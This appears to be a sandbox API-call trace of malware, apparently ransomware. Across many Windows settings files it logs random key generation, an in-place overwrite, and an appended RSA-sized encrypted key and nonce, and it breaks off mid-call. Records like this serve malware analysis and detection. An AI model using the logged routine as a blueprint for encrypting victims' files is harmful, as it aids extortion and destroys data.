[0196.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.278] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink-3.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.278] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x545, lpOverlapped=0x0) returned 1 [0196.281] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.281] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x545, lpOverlapped=0x0) returned 1 [0196.281] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x545 [0196.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.282] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.282] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.282] CloseHandle (hObject=0x1c24) returned 1 [0196.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.284] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink-2.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.284] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x545, lpOverlapped=0x0) returned 1 [0196.286] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.286] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x545, lpOverlapped=0x0) returned 1 [0196.287] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x545 [0196.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.322] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.323] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.323] CloseHandle (hObject=0x1c24) returned 1 [0196.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_StoreRecentlyOpenedItems.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.327] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fb, lpOverlapped=0x0) returned 1 [0196.329] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.329] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fb, lpOverlapped=0x0) returned 1 [0196.330] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fb [0196.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.330] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.331] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.331] CloseHandle (hObject=0x1c24) returned 1 [0196.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.333] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_StoreMFUApps.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.333] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bf, lpOverlapped=0x0) returned 1 [0196.335] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.335] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bf, lpOverlapped=0x0) returned 1 [0196.336] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bf [0196.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.336] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.336] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.336] CloseHandle (hObject=0x1c24) returned 1 [0196.339] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.339] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.339] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_Size.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.340] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x497, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x497, lpOverlapped=0x0) returned 1 [0196.342] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.342] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x497, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x497, lpOverlapped=0x0) returned 1 [0196.343] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x497 [0196.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.343] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.343] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.344] CloseHandle (hObject=0x1c24) returned 1 [0196.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_ShowSuggestedAppsGroup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.345] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f1, lpOverlapped=0x0) returned 1 [0196.347] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.347] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f1, lpOverlapped=0x0) returned 1 [0196.347] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f1 [0196.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.347] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.348] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.348] CloseHandle (hObject=0x1c24) returned 1 [0196.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_ShowRecentlyAddedAppsGroup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.350] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x505, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x505, lpOverlapped=0x0) returned 1 [0196.351] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1285, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.351] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x505, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x505, lpOverlapped=0x0) returned 1 [0196.351] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x505 [0196.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.352] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.352] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.352] CloseHandle (hObject=0x1c24) returned 1 [0196.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_MoreTilesEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.354] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d3, lpOverlapped=0x0) returned 1 [0196.355] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1235, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d3, lpOverlapped=0x0) returned 1 [0196.356] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d3 [0196.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.357] CloseHandle (hObject=0x1c24) returned 1 [0196.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.358] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Start_LinkToPlacesPage.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.358] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d3, lpOverlapped=0x0) returned 1 [0196.360] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1235, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.360] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d3, lpOverlapped=0x0) returned 1 [0196.360] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d3 [0196.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.360] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.361] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.361] CloseHandle (hObject=0x1c24) returned 1 [0196.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Startup_AdvancedStartup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.366] ReadFile (in: hFile=0x1c24, lpBuffer=0x30efdb0, nNumberOfBytesToRead=0x4ef, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efdb0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ef, lpOverlapped=0x0) returned 1 [0196.367] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.367] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f0cc8*, nNumberOfBytesToWrite=0x4ef, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0cc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ef, lpOverlapped=0x0) returned 1 [0196.368] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ef [0196.368] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.368] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.368] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.368] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.369] CloseHandle (hObject=0x1c24) returned 1 [0196.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.370] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_ShellMode_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.381] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4bb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bb, lpOverlapped=0x0) returned 1 [0196.385] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.385] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, 